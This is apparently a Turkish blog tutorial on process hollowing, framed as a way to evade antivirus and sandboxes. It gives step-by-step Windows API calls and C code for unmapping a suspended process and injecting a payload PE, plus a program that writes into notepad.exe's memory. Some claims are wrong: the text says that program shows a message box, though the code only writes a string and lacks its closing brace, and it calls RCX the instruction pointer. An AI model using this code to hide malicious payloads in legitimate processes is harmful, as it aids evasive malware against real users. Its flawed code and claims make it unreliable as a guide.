Image

Malware giriş.

Malware

BlackNullSec Path #8: Process Hollowing Nedir?

🚀 Amaç: Process Hollowing, yasal bir işlemin (örneğin svchost.exe gibi) belleği boşaltılarak, onun yerine kötü amaçlı bir PE (Portable Executable) dosyasının enjekte edilmesi işlemidir. Bu teknik, genellikle antivirüsleri kandırmak ve sandbox sistemlerinden kaçmak için tercih edilir.

    Süreç
  • 1. Hedef işlem askıya alınmış olarak başlatılır.
  • 2. Bellekteki orijinal PE dosyası silinir.
  • 3. Yeni zararlı PE belleğe yazılır.
  • 4. Giriş noktası (EntryPoint) ayarlanır.
  • 5. Thread devam ettirilir.

1. CreateProcess (Suspended)

Hedef işlem, CREATE_SUSPENDED bayrağı ile başlatılır. Bu, işlemin yürütülmeden duraklatılmış bir şekilde kalmasını sağlar.

CreateProcess(NULL, targetPath, ... , CREATE_SUSPENDED, ...);

2. ZwUnmapViewOfSection

Başlatılan işlemin içerisindeki orijinal executable (örn. explorer.exe) bellekten temizlenir.

ZwUnmapViewOfSection(processHandle, baseAddress);
  

3. VirtualAllocEx

Temizlenmiş belleğe yeni zararlı PE için hafıza ayrılır.

VirtualAllocEx(processHandle, baseAddress, sizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  

4.WriteProcessMemory

Yeni zararlı PE (EXE) belleğe yazılır: headers + sectionlar ayrı ayrı yazılır.

WriteProcessMemory(processHandle, baseAddress, peHeaders, size, NULL);  

5. SetThreadContext

Orijinal thread’in EIP/RIP (EntryPoint) kaydı, zararlı PE’nin giriş noktasına set edilir.

SetThreadContext(hThread, &ctx); 

6. ResumeThread

İşlem devam ettirilir ve yürütme zararlı koddan başlar.

ResumeThread(hThread);

Notepad.exe içine payload yazma

Payload Notepad.exe içine yazılacak.Mesaj kutusu cıkacak +


#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>

int main() {
    // 1. Kullanıcıdan hedef sürecin (örneğin notepad.exe) PID'sini alıyoruz
    // PID: Process ID → her çalışan sürecin benzersiz numarasıdır
    DWORD pid;
    printf("Notepad PID gir: ");
    scanf("%lu", &pid);

    // 2. Hedef süreci açıyoruz
    // PROCESS_ALL_ACCESS: süreci tam yetkiyle açmak istiyoruz
    // FALSE: handle miras alınmasın (child process görmesin)
    // pid: hedef süreç ID'si
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (hProcess == NULL) {
        // Eğer NULL dönerse işlem açılamamış demektir
        // GetLastError() → Windows hata kodunu döner
        printf("OpenProcess hatası! Kod: %d\n", GetLastError());
        return 1;
    }

    // 3. Hedef sürecin içinde bellek ayırıyoruz
    // NULL: Windows kendisi adres seçsin
    // 1024: 1 KB bellek ayır
    // MEM_COMMIT | MEM_RESERVE: belleği rezerve et ve commit et
    // PAGE_READWRITE: okuma ve yazmaya izin ver
    LPVOID remoteBuffer = VirtualAllocEx(hProcess, NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (remoteBuffer == NULL) {
        printf("VirtualAllocEx hatası! Kod: %d\n", GetLastError());
        return 1;
    }

    // 4. Yazmak istediğimiz mesaj
    // Burada payload yerine sadece bir string kullanıyoruz (basit test için)
    char msg[] = "Hello from injection!";
    SIZE_T written;

    // 5. Mesajı hedef sürecin belleğine yazıyoruz
    // remoteBuffer: az önce ayırdığımız adres
    // msg: yazmak istediğimiz data
    // sizeof(msg): boyutu
    // &written: kaç byte yazıldığını döndürür
    if (!WriteProcessMemory(hProcess, remoteBuffer, msg, sizeof(msg), &written)) {
        printf("WriteProcessMemory hatası! Kod: %d\n", GetLastError());
        return 1;
    }

    printf("Belleğe yazıldı! Adres: %p\n", remoteBuffer);

    // 6. İşimiz bitti → handle'ı kapatıyoruz
    CloseHandle(hProcess);
    return 0;

Bu teknikler yalnızca eğitim amaçlıdır ve "//" işaret yorum satırıdır burada girilen Notepad.exe'in pid numarasını giriyor ve "Hello from injection!" kutucuk Mesaj kutusu olarak cıkıyor.Windows apı ile yazıldı Ntapı ilede yazılcak

🔍 DETAYLI KOD ANALİZİ

winternl.h > ZwUnmapViewOfSection gibi undocumented (dökümansız) API’lere erişmemizi sağlar.
ntdll.lib > bu fonksiyon için gerekli kütüphane.


#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <stdio.h>
#include <winternl.h>
#pragma comment(lib, "ntdll.lib")

Process Oluşturuluyor (Askıya Alınmış)

CREATE_SUSPENDED → Hedef işlem daha başlamadan durduruluyor. Böylece ilk kodlar çalıştırılmadan belleği boşaltma şansı buluyoruz.

CreateProcessA(NULL, (LPSTR)targetPath, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);

Payload PE Dosyasını Belleğe Al

ReadFile() ile payload.exe tamamen belleğe okunuyor. Daha sonra PE header'larıyla işlem yapılacak.

HANDLE hFile = CreateFileA(payloadPath, ...);
DWORD fileSize = GetFileSize(hFile, NULL);
LPVOID fileBuffer = HeapAlloc(...);
ReadFile(hFile, fileBuffer, fileSize, &bytesRead, NULL);

ZwUnmapViewOfSection ile Belleği Boşalt!

Notepad işlemindeki orijinal PE image (örneğin, Notepad’in .exe header’ları) sistemden çıkarılıyor. Boş bir process kalıyor: işlem başlatılmış ama içinde kod yok.


ZwUnmapViewOfSection = (pZwUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"),
"ZwUnmapViewOfSection");
ZwUnmapViewOfSection(pi.hProcess, (PVOID)imageBaseVA);

VirtualAllocEx ile Yeni Bellek Ayır

Payload’a uygun büyüklükte yeni memory alanı ayırıyor. Bu adres, eski image base ile aynıysa çok temiz olur — bazı DLL bağımlılıkları için gerekebilir.


imageBase = VirtualAllocEx(pi.hProcess, ..., ntHeaders->OptionalHeader.SizeOfImage, ...);

PE HEADERS ve SECTİONS Belleğe Yazılıyor

Burada PE’nin .text, .rdata, .data, .rsrc gibi section'ları hedef işlemin belleğine yazılır.

WriteProcessMemory(..., imageBase, fileBuffer, ntHeaders->OptionalHeader.SizeOfHeaders, NULL);

Entry Point Ayarlanıyor

x64 sistemlerde instruction pointer: RCX kullanılır. EntryPoint: PE’nin çalışmaya başlayacağı adres.

ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Rcx = (DWORD_PTR)((DWORD_PTR)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint);
SetThreadContext(pi.hThread, &ctx);

Thread Devam Ettiriliyor

Thread işleme başlar ama artık orijinal Notepad değil, payload’un entry point’inden başlar

ResumeThread(pi.hThread);

⚠️ Kritik Uyarı

Bu teknikler yalnızca eğitim amaçlıdır. Gerçek sistemlere uygulanması yasadışı olabilir. Asla gerçek ortamlarda test etme.

BlackNullSec
“Windows Belleğiyle Konuşan Kodlar”
← Önceki